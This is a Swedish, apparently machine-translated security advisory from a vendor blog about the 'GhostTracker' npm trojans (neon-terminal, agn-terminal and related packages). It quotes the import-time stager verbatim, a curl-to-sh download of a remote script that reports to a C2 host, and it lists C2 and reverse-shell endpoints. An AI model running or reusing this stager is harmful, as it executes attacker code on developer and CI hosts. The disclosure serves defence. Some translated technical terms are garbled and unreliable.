GhostTracker: npm Trojan omdöpt på 74 minuter — Samma C2

GhostTracker: en npm-trojan som fick sitt namnbyte inom några timmar efter nedtagningen – och behöll samma C2

TL; DR

En enda npm-operator publicerad fem trojaniserade paket över två omgångar på tre dagar. Paketen utger sig för att vara små terminal-färg-, logg- och Postgres-klientverktyg. Den skadliga koden körs i det ögonblick då paketet importeras — det finns inget installationsskript att hämta.

Omgång ett (neon-terminal, neon-postgres, ne-logger) avpublicerades den 5 juli 2026 kl. 14:14 UTC. Sjuttiofyra minuter senare samma konto publicerade samma trojan igen under nya namn (agn-terminal, agn-logger) — och pekade den mot samma kommando-och-kontroll-slutpunkt den hade använt tidigare: tracker.bvgroup.co.

Den C2-värden är den enda indikatorn som överlever bytet av namn, och det snabbaste för en försvarare att söka efter. Allvarlighetsgrad: högEkosystem: npmPaketen för den andra omgången var fortfarande tillgängliga i skrivande stund.

Attacken: hur den fungerar

Paketen är funktionella lockbeten. Öppna agn-terminal och du hittar en komplett, fungerande ANSI-färghjälp — koder, stöderFärg, färga, måla — med typer och en README-fil. Verktygskoden fungerar. Fästs högst upp i inmatningsmodulen, ovanför den användbara koden, finns några rader som körs vid import.

// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process";  const child = exec(   "curl -fsSL https://remote.agyn.org/remote.sh | " +   "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",   {}, (error, stdout, stderr) => {}, ); 

Tre saker gör detta effektivt.

  • Den aktiveras vid import, inte vid installation. Paketet deklarerar nej förinstallation or efterinstallation krok — den vanliga platsen där skannrar och granskare tittar. exec anropet är kod på modulnivå. Det körs första gången något gör det. require("agn-terminal") or importera "agn-terminal", på utvecklarens dator eller inuti CI. Både ESM-posten (src / index.js) och CommonJS-posten (cjs/src/index.js) bär identisk nyttolast, så båda modulsystemen är täckta.
  • Den verkliga nyttolasten lever utanför paketet. Paketet levererar endast en enradig stager: fetch remote.agyn.org/remote.sh` och skicka det till sh`. Det som operatorn visar från den URL:en vid begäran är det som körs. C2-slutpunkten skickas till det nedladdade skriptet via TRACKER_REMOTE_ENDPOINT miljövariabel, så steg två-skriptet ringer hem till tracker.bvgroup.co.
  • Ett bärpaket vidgar explosionsradien. agn-logger är en andra lockbete – en "liten global logger". Den har ingen egen nyttolast. Dess inmatningsmodul gör en relevant sak:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); 

Det förklarar agn-terminal som ett beroende och importerar det. Installation eller import av loggern hämtar och utlöser terminalpaketet transitivt. Ett projekt som aldrig namnger trojanen direkt kan fortfarande köra den via loggern.

Vad är nytt här

Den första rundan använde ingen fjärrstyrd stager. Den levererade nyttolasten inline och eskalerade den version för version — ett bash reverse shell i en utgåva, en net.Socket omvänt skal i nästa, en git-tillägg/commit/tryck av offrets arbetskatalog i en annan, och slutligen en fullständig HTTP-kommando- och kontrollagent i neonterminal 0.9.0 som registrerade värden, frågade efter uppgifter, körde dem med exec ()och strömmade tillbaka base64-kodad utdata. Den andra omgången sätter ihop allt detta till en enda lockar, vilket helt och hållet flyttar steg två från registret. Samma operatör, tystare paket, mer flexibel nyttolast – och, avgörande, samma C2 som tidigare.

tidslinje

Datum (UTC)Event
2026-07-03 07:03Omgång ett publicerad: neon-terminal (0.1.0 ren, sedan 0.2.0–0.9.0 skadlig), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05neon-terminal flaggad i realtidsskanning
2026-07-04Bekräftat skadligt; korrelation avslöjar de två syskonpaketen; första försöken att ta bort data har inkommit
2026-07-05 14:14Omgång ett opublicerad — alla åtta neon-terminal versioner plus syskon borttagna
2026-07-05 15:28agn-terminal 0.1.0 publicerade
2026-07-05 15:29agn-logger 0.1.0 publicerad — operatör för det nya terminalpaketet
2026-07-05 (pågående)Paket för omgång två är tillgängliga i skrivande stund

De två omgångarna sker med tre dagars mellanrum, och gapet mellan borttagning och omstart var 74 minuter. Kampanjen är öppen: agn-* Paketen hade inte tagits bort när detta skrevs.

Indikatorer för kompromiss

Sök i låsfiler och beroendeträd efter paketnamnen. Sök i proxy, DNS och EDR loggar för nätverkets slutpunkter. C2-värden tracker.bvgroup.co spänner över båda omgångarna och är den enskilda indikatorn med högst värde.

Paket

PaketversionerRollStatus
neon-terminal0.2.0–0.9.0trojan (inline-nyttolaster → HTTP C2)opublicerad
neon-postgres3.5.2trojan (nyttolast i src/errors.js)opublicerad
ne-logger0.7.0transportör (beror på neon-terminal)opublicerad
agn-terminal0.1.0trojan (curl | sh iscensättare)live
agn-logger0.1.0transportör (beror på agn-terminal)live

neonterminal 0.1.0 var ett rent frö — ett fungerande färgbibliotek utan nyttolast — som publicerades för att etablera paketet innan de skadliga versionerna följde.

nätverks

IndikatorSammanhang
tracker.bvgroup.co/remote/…HTTP C2, båda rundorna (runda två-token t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.shomgång två steg ett lastare
reverse.bvgroup.co:443omgång ett omvänt skal-slutpunkt (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754omvänd skal för ett runda (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852omvänd skal för ett runda (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.iooperatörsstyrda domäner

Behavioral

  • Modulnivå child_process.exec högst upp i ett verktygspakets inmatningsfil, i båda src / index.js (ESM) och cjs/src/index.js (CJS).
  • A curl -fsSL … | sh enliners med C2 passerad via en TRACKER_REMOTE_ENDPOINT miljöfaktor.
  • Ett andra "verktygs"-paket som deklarerar det första som ett beroende och importerar det, utan egen nyttolast.
  • En överbliven // neonterminal kommentar högst upp på agn-terminal — en kopiera-klistra-artefakt som länkar omdöpningen till originalet.

Filhash (SHA-256, runda två)

  • agn-terminal src / index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • agn-terminal cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • agn-logger src / index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

Attribuering och observerat beteende

Varje paket spåras till ett npm-konto, vitalii-agyn, publicerar under den overifierade e-postadressen vitalii@agyn.ioKontots egna registermetadata listar alla tre runda-ett-paket som de underhålls av det. Infrastrukturen knyter samman rundorna: domänen agyn.org matchar förlagets agyn.io e-postdomän och C2-värden tracker.bvgroup.co förekommer i båda neonterminal 0.9.0 och agn-terminal 0.1.0 — samma samlarsökväg, återanvänd ordagrant efter namnbytet.

Vi beskriver vad artefakterna visar och slutar där. Utgivarens angivna e-postadress är vitalii@agyn.ioVi har inte verifierat ägarskapet för den adressen, och vi tillskriver inte kontot till någon namngiven person eller grupp. Återanvändning av en C2-slutpunkt över två paketfamiljer är en stark signal om samma operatör, inte en identitet.

De första omgångens paket lutade sig på varumärkesnärhet. neon-postgreen var en fullständig klon av Porsagers allmänt använda postgres.js klient, slogan och allt, med nyttolasten instoppad i src/fel.js så en rutinmässig importväg skulle nå den — och neon- prefixet lånar igenkännbarheten hos Neon, den serverlösa Postgres-leverantören. Namnen i den andra omgången slopade personifieringen och blev generiska (agn-terminal, agn-logger), byter varumärkesdragning för en renare brytning från de brända namnen.

 Påverkan, trender och vägledning för försvarare

  • Vem som är exponerad. Den som installerar och importerar ett av dessa paket, direkt eller via operatören, på en Unix-liknande värd. Stagern använder curl och sh; runda-ett-skal använder bash och /dev/tcpEftersom körningen sker vid import räcker det med en byggserver som installerar beroendet och kör all kod som berör det – inget efterinstallationssteg krävs. På en utvecklararbetsstation eller CI-körare körs det nedladdade steg två med användarens behörigheter och fullständig nätverksräckvidd.
  • Varför importtid är viktigt. Försvar i leveranskedjor har koncentrerat sig på installationsskript, och det av goda skäl – postinstall är det klassiska fotfästet för npm. Den här kampanjen kringgår det helt och hållet. Det finns ingen installationshook att flagga. skadlig kod är en vanlig modulinitialisering, som vid första anblicken inte kan skiljas från ett paket som beräknar en uppslagstabell vid laddning. Verktyg som bara inspekterar skript i package.json ser ingenting.
  • Trenden att rebranda och återanvända. Den 74 minuter långa handläggningstiden är historien. Nedtagningen tog bort namnen men inte operatören, infrastrukturen eller koden. Inom en timme var kampanjen live igen under nya namn som pekade mot samma C2. Namnbaserad blockering – denylisting neon-terminal – skulle redan ha varit föråldrad. Infrastrukturbaserad blockering – denylisting bvgroup.co – skulle ha fastnat i runda två vid ankomst. För en live-operatör som publicerar om snabbare än register tar bort, är den varaktiga indikatorn nätverksslutpunkten, inte paketnamnet.

Vad ska man göra nu

  • Grep-låsfiler och installerade träd för alla fem paketnamn ovan. Behandla alla matchningar som en komprometterad värd och rotera inloggningsuppgifter som är åtkomliga från den.
  • Blockera och varna på domänerna bvgroup.co, agyn.orgoch ngrok-slutpunkterna i DNS- och utgående filtrering. tracker.bvgroup.co är prioriteten.
  • Förlita dig inte enbart på skanning med installationshook. Lägg till detektering för modulnivå barnprocess och nätverksanrop i beroenden, och för locka … | sh mönster i paketets källkod.
  • Betrakta ett verktygspaket som deklarerar ett annat obskyrt verktyg som sitt enda beroende, och importerar det vid laddning, som värt en andra titt.
  • I CI, föredra --ignorera-skript där det är praktiskt möjligt, men förstå att det inte hjälper här — nyttolasten körs vid import, så utgående kontroller vid körning och beroendegranskning är viktigare.

Referensprojekt

sca-tools-programvara-verktyg-för-kompositionsanalys
Prioritera, åtgärda och säkra dina programvarurisker
Skaffa ditt gratiskonto.
Inga kreditkort krävs.

Säkra din programvaruutveckling och leverans

med Xygeni-produktsviten